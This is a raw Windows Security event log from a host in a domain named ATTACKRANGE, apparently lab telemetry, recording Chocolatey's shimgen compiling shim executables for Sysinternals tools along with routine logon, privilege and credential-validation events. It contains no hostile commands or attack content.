"C:\ProgramData\shimgen\generatedfiles\20210301_123410_8803\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123410_8803\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123410_8803\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246522 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x528 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x480 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246521 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x480 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\hex2dec.exe" --output="C:\ProgramData\chocolatey\bin\hex2dec.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\hex2dec.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246520 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe20 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x618 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESCF03.tmp" "c:\ProgramData\chocolatey\bin\CSCE91FD4268B2F4530AE6753879C4599B.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246519 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc6c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x618 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246518 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x618 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xcf8 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\handle64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123410_6616\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123410_6616\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123410_6616\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123410_6616\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123410_6616\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246517 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd70 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xcf8 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246516 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xcf8 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\handle64.exe" --output="C:\ProgramData\chocolatey\bin\handle64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\handle64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246515 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfe0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x36c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESCE28.tmp" "c:\ProgramData\chocolatey\bin\CSC41FC0F6F9B704F9285F4A89C119187FE.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246514 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x864 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x36c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246513 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x36c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd68 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\handle.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123410_4428\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123410_4428\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123410_4428\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123410_4428\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123410_4428\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246512 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd2c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd68 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246511 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd68 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\handle.exe" --output="C:\ProgramData\chocolatey\bin\handle.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\handle.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246510 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x990 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc4c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESCD4D.tmp" "c:\ProgramData\chocolatey\bin\CSC8C9605CD68984341B1E9BBC4748D3290.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Special Logon -OpCode=Info -RecordNumber=246509 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0xAD979 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:41:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=246508 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0xAD979 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:41:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logon -OpCode=Info -RecordNumber=246507 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: WORKGROUP - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x5c8 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:41:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4776 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Credential Validation -OpCode=Info -RecordNumber=246506 -Keywords=Audit Success -Message=The computer attempted to validate the credentials for an account. - -Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0 -Logon Account: Administrator -Source Workstation: WIN-DC-725 -Error Code: 0x0 -03/11/2021 11:41:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Logoff -OpCode=Info -RecordNumber=246505 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x950E7 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:41:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246504 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x5ec - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc4c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:04 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246503 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc4c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x438 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\FindLinks64.exe" /target:exe /utf8output 